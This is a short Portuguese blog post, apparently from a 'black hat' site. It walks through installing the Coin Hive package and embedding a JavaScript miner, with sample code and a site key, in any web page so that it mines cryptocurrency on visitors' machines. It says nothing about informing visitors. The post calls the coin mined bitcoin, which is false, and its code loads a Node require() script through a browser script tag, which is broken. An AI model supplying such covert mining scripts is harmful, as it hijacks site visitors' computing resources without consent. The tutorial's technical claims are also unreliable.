Usando script Javascript para minerar Bitcoins em sites

Luan AP
Brasil Black Hat
Published in
2 min readNov 18, 2017

Eaê galerinha, como o titulo já diz neste artigo estarei mostrando como usar o script javascript Coin Hive para minerar bitcoins em sites.

Muito bem vamos lá! Primeiramente você deve acessar o repositório oficial do script. Se quiser ir mais afundo no seu funcionamento basta dar uma lida nos métodos que ele possui.

Feito isso você deve fazer exatamente o que ele diz, rode o comando do npm. Porém nós iremos usar uma abordagem um pouco diferente.

Irei criar uma pasta chamada, miner-bitcoin e dentro dela rodar o comando:

npm i -g coin-hive 

Feito isso ele será baixado e instalado globalmente na sua pasta ~/node_modules, porém ela não será usada por nós.

Enfim crie agora dois arquivos um chamado main.js e outro index.html.

Dentro do index.html é onde ficará sua página web qualquer, lembrando que é um script javascript, então você pode inseri-lo no seu site em Wordpress, Joomla, etc.

Muito bem feito isso no seu arquivo main.js cole o seguinte:

const CoinHive = require('coin-hive');
// Função IIFE assícrona
(async () => {
// Instancie o CoinHive passando sua hash no constructor
const miner = await CoinHive('sua_hash_aqui')

// Exemplo
// const miner = await CoinHive('ZM4gjqQ0jh0jbZ3tZDByOXAjyotDbo00')
// Aqui é onde você dará o start e ele começará a mineração
await miner.start()
})()

Mas isso não é tudo, você deve adicionar este script em seu index.html, para isso apenas acrescente: <script src="main.js"></script>

Caso preferir você pode conferir um exemplo no github.

É isso aí galerinha, simples e prático minerar bitcoins usando Javscript.

--

--